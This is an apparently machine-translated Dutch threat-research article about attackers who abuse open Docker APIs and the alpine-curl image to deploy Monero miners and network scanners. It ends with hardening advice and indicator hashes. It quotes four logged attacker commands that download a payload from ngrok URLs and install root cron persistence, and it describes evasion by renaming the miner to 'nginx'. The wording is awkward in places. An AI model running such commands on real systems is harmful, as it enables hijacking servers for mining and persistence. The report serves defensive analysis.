Hoe de niet-gepatenteerde Docker API en openbare afbeeldingen van de community worden gebruikt om cryptocurrency-mijnwerkers te distribueren

Hoe de niet-gepatenteerde Docker API en openbare afbeeldingen van de community worden gebruikt om cryptocurrency-mijnwerkers te distribueren

We hebben de verzamelde gegevens geanalyseerd met behulp van honeypot-containers, die we hebben gemaakt om bedreigingen op te sporen. En we hebben aanzienlijke activiteit gedetecteerd van ongewenste of ongeautoriseerde cryptocurrency-miners die als frauduleuze containers zijn ingezet met behulp van een door de community gepubliceerde afbeelding op Docker Hub. De afbeelding wordt gebruikt als onderdeel van een dienst die kwaadaardige cryptocurrency-mijnwerkers levert.

Bovendien worden programma's voor het werken met netwerken geïnstalleerd om aangrenzende containers en applicaties te openen.

We laten onze honeypots zoals ze zijn, dat wil zeggen met standaardinstellingen, zonder enige beveiligingsmaatregelen of daaropvolgende installatie van extra software. Houd er rekening mee dat Docker aanbevelingen heeft voor de eerste installatie om fouten en eenvoudige kwetsbaarheden te voorkomen. Maar de gebruikte honeypots zijn containers, ontworpen om aanvallen te detecteren die gericht zijn op het containerisatieplatform, en niet op de applicaties in de containers.

De gedetecteerde kwaadaardige activiteit valt ook op omdat deze geen kwetsbaarheden vereist en bovendien onafhankelijk is van de Docker-versie. Het vinden van een onjuist geconfigureerde en dus open containerimage is alles wat aanvallers nodig hebben om veel open servers te infecteren.

Met de niet-gesloten Docker API kan de gebruiker een breed scala aan taken uitvoeren teams, inclusief het verkrijgen van een lijst met actieve containers, het ophalen van logboeken van een specifieke container, het starten, stoppen (inclusief geforceerd) en zelfs het maken van een nieuwe container van een specifieke afbeelding met gespecificeerde instellingen.

Hoe de niet-gepatenteerde Docker API en openbare afbeeldingen van de community worden gebruikt om cryptocurrency-mijnwerkers te distribueren
Aan de linkerkant ziet u de malware-leveringsmethode. Aan de rechterkant bevindt zich de omgeving van de aanvaller, die het op afstand uitrollen van afbeeldingen mogelijk maakt.

Hoe de niet-gepatenteerde Docker API en openbare afbeeldingen van de community worden gebruikt om cryptocurrency-mijnwerkers te distribueren
Distributie per land van 3762 open Docker API's. Gebaseerd op een Shodan-zoekopdracht van 12.02.2019/XNUMX/XNUMX

Aanvalsketen en payload-opties

Kwaadwillige activiteit werd niet alleen gedetecteerd met behulp van honeypots. Uit gegevens van Shodan blijkt dat het aantal blootgestelde Docker API’s (zie tweede grafiek) is toegenomen sinds we een verkeerd geconfigureerde container hebben onderzocht die als brug wordt gebruikt om Monero-cryptocurrency mining-software te implementeren. In oktober vorig jaar (2018, actuele gegevens je kunt er zo uitzien ca. vertaler) waren er slechts 856 open API's.

Uit onderzoek van de honeypot-logboeken bleek dat het gebruik van containerimages ook verband hield met het gebruik van ngok, een hulpmiddel voor het tot stand brengen van beveiligde verbindingen of het doorsturen van verkeer van openbaar toegankelijke punten naar gespecificeerde adressen of bronnen (bijvoorbeeld localhost). Hierdoor kunnen aanvallers dynamisch URL's maken bij het leveren van payload aan een open server. Hieronder staan ​​codevoorbeelden uit de logboeken die misbruik van de ngrok-service tonen:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Zoals u kunt zien, worden de geüploade bestanden gedownload van voortdurend veranderende URL's. Deze URL's hebben een korte vervaldatum, dus payloads kunnen na de vervaldatum niet meer worden gedownload.

Er zijn twee laadopties. De eerste is een gecompileerde ELF-mijnwerker voor Linux (gedefinieerd als Coinminer.SH.MALXMR.ATNO) die verbinding maakt met de mijnpool. De tweede is een script (TrojanSpy.SH.ZNETMAP.A) dat is ontworpen om bepaalde netwerktools te verkrijgen die worden gebruikt om netwerkbereiken te scannen en vervolgens naar nieuwe doelen te zoeken.

Het dropper-script stelt twee variabelen in, die vervolgens worden gebruikt om de cryptocurrency-miner in te zetten. De HOST-variabele bevat de URL waar de kwaadaardige bestanden zich bevinden, en de RIP-variabele is de bestandsnaam (in feite de hash) van de miner die moet worden ingezet. De HOST-variabele verandert elke keer dat de hash-variabele verandert. Het script probeert ook te controleren of er geen andere cryptocurrency-miners actief zijn op de aangevallen server.

Hoe de niet-gepatenteerde Docker API en openbare afbeeldingen van de community worden gebruikt om cryptocurrency-mijnwerkers te distribueren
Voorbeelden van HOST- en RIP-variabelen, evenals een codefragment dat wordt gebruikt om te controleren of er geen andere mijnwerkers actief zijn

Voordat de mijnwerker wordt gestart, wordt deze hernoemd naar nginx. Andere versies van dit script hernoemen de mijnwerker naar andere legitieme services die mogelijk aanwezig zijn in Linux-omgevingen. Dit is meestal voldoende om controles op de lijst met actieve processen te omzeilen.

Het zoekscript heeft ook functies. Het werkt met dezelfde URL-service om de benodigde tools in te zetten. Daaronder bevindt zich het binaire bestand zmap, dat wordt gebruikt om netwerken te scannen en een lijst met open poorten te verkrijgen. Het script laadt ook een ander binair bestand dat wordt gebruikt om te communiceren met de gevonden services en om er banners van te ontvangen om aanvullende informatie over de gevonden service te bepalen (bijvoorbeeld de versie ervan).

Het script bepaalt ook vooraf een aantal netwerkbereiken die moeten worden gescand, maar dit is afhankelijk van de versie van het script. Het stelt ook de doelpoorten van de services in (in dit geval Docker) voordat de scan wordt uitgevoerd.

Zodra mogelijke doelwitten worden gevonden, worden spandoeken daar automatisch van verwijderd. Het script filtert ook doelen afhankelijk van de services, applicaties, componenten of platforms waarin u geïnteresseerd bent: Redis, Jenkins, Drupal, MODX, Kubernetes Meester, Docker 1.16-client en Apache CouchDB. Als de gescande server met een van deze overeenkomt, wordt deze opgeslagen in een tekstbestand, dat aanvallers later kunnen gebruiken voor latere analyse en hacking. Deze tekstbestanden worden via dynamische links naar de servers van de aanvallers geüpload. Dat wil zeggen dat voor elk bestand een aparte URL wordt gebruikt, wat betekent dat latere toegang moeilijk is.

De aanvalsvector is een Docker-afbeelding, zoals te zien is in de volgende twee stukjes code.

Hoe de niet-gepatenteerde Docker API en openbare afbeeldingen van de community worden gebruikt om cryptocurrency-mijnwerkers te distribueren
Bovenaan staat het hernoemen naar een legitieme service, en onderaan staat hoe zmap wordt gebruikt om netwerken te scannen

Hoe de niet-gepatenteerde Docker API en openbare afbeeldingen van de community worden gebruikt om cryptocurrency-mijnwerkers te distribueren
Bovenaan staan ​​vooraf gedefinieerde netwerkbereiken, onderaan staan ​​specifieke poorten voor het zoeken naar services, waaronder Docker

Hoe de niet-gepatenteerde Docker API en openbare afbeeldingen van de community worden gebruikt om cryptocurrency-mijnwerkers te distribueren
De schermafbeelding laat zien dat de alpine-curl-afbeelding meer dan 10 miljoen keer is gedownload

Gebaseerd op Alpine Linux en curl, kunt u een hulpbronnenefficiënte CLI-tool bouwen voor het overbrengen van bestanden via verschillende protocollen Docker-afbeelding. Zoals je in de vorige afbeelding kunt zien, is deze afbeelding al meer dan 10 miljoen keer gedownload. Een groot aantal downloads kan betekenen dat deze afbeelding als toegangspunt wordt gebruikt; deze afbeelding is meer dan zes maanden geleden bijgewerkt; gebruikers hebben niet zo vaak andere afbeeldingen uit deze repository gedownload. In Docker punt van binnenkomst - een reeks instructies die worden gebruikt om een ​​container te configureren om deze uit te voeren. Als de instellingen van het toegangspunt onjuist zijn (de container wordt bijvoorbeeld open gelaten vanaf internet), kan de afbeelding worden gebruikt als aanvalsvector. Aanvallers kunnen het gebruiken om een ​​payload af te leveren als ze ontdekken dat een verkeerd geconfigureerde of open container niet wordt ondersteund.

Het is belangrijk op te merken dat deze afbeelding (alpine-curl) zelf niet kwaadaardig is, maar zoals u hierboven kunt zien, kan deze worden gebruikt om kwaadaardige functies uit te voeren. Soortgelijke Docker-images kunnen ook worden gebruikt om kwaadaardige activiteiten uit te voeren. We hebben contact opgenomen met Docker en met hen samengewerkt aan dit probleem.

Aanbevelingen

Onjuiste instelling stoffelijk overschot voortdurend probleem voor veel bedrijven, vooral degenen die dit implementeren DevOps, gericht op snelle ontwikkeling en levering. Alles wordt verergerd door de noodzaak om te voldoen aan de regels voor auditing en monitoring, de noodzaak om de vertrouwelijkheid van gegevens te bewaken, evenals de enorme schade als gevolg van het niet naleven ervan. Het opnemen van beveiligingsautomatisering in de ontwikkelingslevenscyclus helpt u niet alleen beveiligingslekken te vinden die anders misschien onopgemerkt zouden blijven, maar helpt u ook onnodige werklast te verminderen, zoals het uitvoeren van extra softwarebuilds voor elke ontdekte kwetsbaarheid of verkeerde configuratie nadat een applicatie is geïmplementeerd.

Het incident dat in dit artikel wordt besproken, benadrukt de noodzaak om vanaf het begin rekening te houden met de veiligheid, inclusief de volgende aanbevelingen:

  • Voor systeembeheerders en ontwikkelaars: Controleer altijd uw API-instellingen om er zeker van te zijn dat alles is geconfigureerd om alleen verzoeken van een specifieke server of intern netwerk te accepteren.
  • Volg het principe van de minste rechten: zorg ervoor dat containerimages worden ondertekend en geverifieerd, beperk de toegang tot kritieke componenten (containerlanceringsservice) en voeg encryptie toe aan netwerkverbindingen.
  • Volgen aanbevelingen en beveiligingsmechanismen mogelijk maken, b.v. van Docker en ingebouwd beveiligingsfuncties.
  • Gebruik geautomatiseerd scannen van runtimes en images om aanvullende informatie te verkrijgen over de processen die in de container worden uitgevoerd (bijvoorbeeld om spoofing te detecteren of naar kwetsbaarheden te zoeken). Applicatiecontrole en integriteitsmonitoring helpen bij het opsporen van abnormale veranderingen aan servers, bestanden en systeemgebieden.

Trendmicro helpt DevOps-teams veilig te bouwen, snel uit te rollen en overal te lanceren. TrendMicro Hybride cloudbeveiliging Biedt krachtige, gestroomlijnde en geautomatiseerde beveiliging in de DevOps-pijplijn van een organisatie en biedt meerdere verdedigingsmechanismen tegen bedreigingen Xgen om fysieke, virtuele en cloud-workloads tijdens runtime te beschermen. Het voegt ook containerbeveiliging toe Diepe beveiliging и Diepgaande slimme beveiligingscontrole, dat Docker-containerimages op elk punt in de ontwikkelingspijplijn scant op malware en kwetsbaarheden om bedreigingen te voorkomen voordat ze worden ingezet.

Tekenen van compromis

Gerelateerde hashes:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Op Docker-videocursus Oefenende sprekers laten zien welke instellingen eerst moeten worden gedaan om de kans te minimaliseren of volledig te voorkomen dat de hierboven beschreven situatie zich voordoet. En op 19-21 augustus op een online intensive DevOps-tools en cheats Deze en soortgelijke veiligheidsproblemen bespreek je met collega’s en praktiserende docenten aan een ronde tafel, waar iedereen zich kan uitspreken en luisteren naar de pijn en successen van ervaren collega’s.

Bron: www.habr.com

Voeg een reactie